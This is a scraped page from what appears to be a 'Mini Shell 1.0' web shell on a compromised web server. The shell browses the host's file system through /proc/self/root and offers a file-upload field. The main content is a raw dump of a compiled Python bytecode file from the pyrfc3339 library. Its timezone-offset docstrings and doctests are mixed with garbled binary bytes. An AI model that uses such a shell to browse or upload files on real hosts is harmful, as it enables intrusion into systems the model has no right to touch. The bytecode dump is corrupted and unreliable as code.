HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/pyrfc3339/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/pyrfc3339/__pycache__/utils.cpython-311.pyc
�

ƺ[Q
��V�ddlmZddlmZmZddlmZGd�de��Zd�Zd�Z	dS)	�)�division)�	timedelta�tzinfo)�deepcopyc�6�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	dS)	�FixedOffseta�
    Represent a timezone with a fixed offset from UTC and no adjustment for
    DST.

    >>> FixedOffset(4,0)
    <UTC+04:00>
    >>> FixedOffset(-4,0)
    <UTC-04:00>
    >>> FixedOffset(4,30)
    <UTC+04:30>

    >>> tz = FixedOffset(-5,0)
    >>> tz.dst(None)
    datetime.timedelta(0)

    The class tries to do the right thing with the sign
    of the time zone offset:

    >>> FixedOffset(-9,30)
    <UTC-09:30>
    >>> FixedOffset(-9,-30)
    Traceback (most recent call last):
    ...
    ValueError: minutes must not be negative

    Offsets must thus be normalized so that the minute value is positive:

    >>> FixedOffset(-8,30)
    <UTC-08:30>

    c���tj|��|dkrtd���|dkr|dz}t||���|_dtt
|j����z|_dS)zK
        Create a new FixedOffset instance with the given offset.

        rzminutes must not be negative���)�hours�minutes�UTCN)r�__init__�
ValueErrorr�_FixedOffset__offset�timezone�timedelta_seconds�_FixedOffset__name)�selfrrs   �1/usr/lib/python3/dist-packages/pyrfc3339/utils.pyrzFixedOffset.__init__(s|��
	�������Q�;�;��;�<�<�<��1�9�9��r�M�G�!��*1�3�3�3��
��h�'8���'G�'G�H�H�H�����c� �td��S)zG
        Return offset for DST.  Always returns timedelta(0).

        r)r�r�dts  r�dstzFixedOffset.dst6s��
��|�|�rc��|jS)z*
        Return offset from UTC.

        )rrs  r�	utcoffsetzFixedOffset.utcoffset=s��
�}�rc��|jS)z+
        Return name of timezone.

        )rrs  r�tznamezFixedOffset.tznameDs��
�{�rc�R�d�|�d����S)Nz<{0}>)�formatr)rs r�__repr__zFixedOffset.__repr__Ks ���~�~�d�k�k�$�/�/�0�0�0rc	���|j}|�|��}||t|��<|j���D]$\}}t||t
||�����%|S)N)�	__class__�__new__�id�__dict__�items�setattrr)r�memo�cls�result�k�vs      r�__deepcopy__zFixedOffset.__deepcopy__Nsn���n�����S�!�!����R��X�X���M�'�'�)�)�	2�	2�D�A�q��F�A�x��4�0�0�1�1�1�1��
rN)
�__name__�
__module__�__qualname__�__doc__rrrrr!r.�rrrrs|��������@I�I�I����������1�1�1�����rrc��	tt|�������S#t$r@|j}|j}|j}tt|dz|z|dzz����cYSwxYw)a�
    Return the offset stored by a :class:`datetime.timedelta` object as an
    integer number of seconds.  Microseconds, if present, are rounded to
    the nearest second.

    Delegates to
    :meth:`timedelta.total_seconds() <datetime.timedelta.total_seconds()>`
    if available.

    >>> timedelta_seconds(timedelta(hours=1))
    3600
    >>> timedelta_seconds(timedelta(hours=-1))
    -3600
    >>> timedelta_seconds(timedelta(hours=1, minutes=30))
    5400
    >>> timedelta_seconds(timedelta(hours=1, minutes=30,
    ... microseconds=300000))
    5400
    >>> timedelta_seconds(timedelta(hours=1, minutes=30,
    ...	microseconds=900000))
    5401

    i�Qi@B)�int�round�
total_seconds�AttributeError�days�seconds�microseconds)�tdr9r:r;s    rrrWs���2O��5��)�)�+�+�,�,�-�-�-���O�O�O��w���*������5�$��,�'�1�\�G�5K�L�M�M�N�N�N�N�N�O���s�-0�AA:�9A:c��tt|��d��\}}tt|��dz��}|dkrd}nd}d�|t|��t|����S)z�
    Return a string representing the timezone offset.
    Remaining seconds are rounded to the nearest minute.

    >>> timezone(3600)
    '+01:00'
    >>> timezone(5400)
    '+01:30'
    >>> timezone(-28800)
    '-08:00'

    i�<r�+�-z{0}{1:02d}:{2:02d})�divmod�absr6�floatr r5)rrr:r�signs     rrrzsn���C�	�N�N�D�1�1�N�E�7��E�'�N�N�R�'�(�(�G��A�~�~�������&�&�t�S��Z�Z��W���F�F�FrN)
�
__future__r�datetimerr�copyrrrrr3rr�<module>rHs���������&�&�&�&�&�&�&�&�������M�M�M�M�M�&�M�M�M�` O� O� O�FG�G�G�G�Gr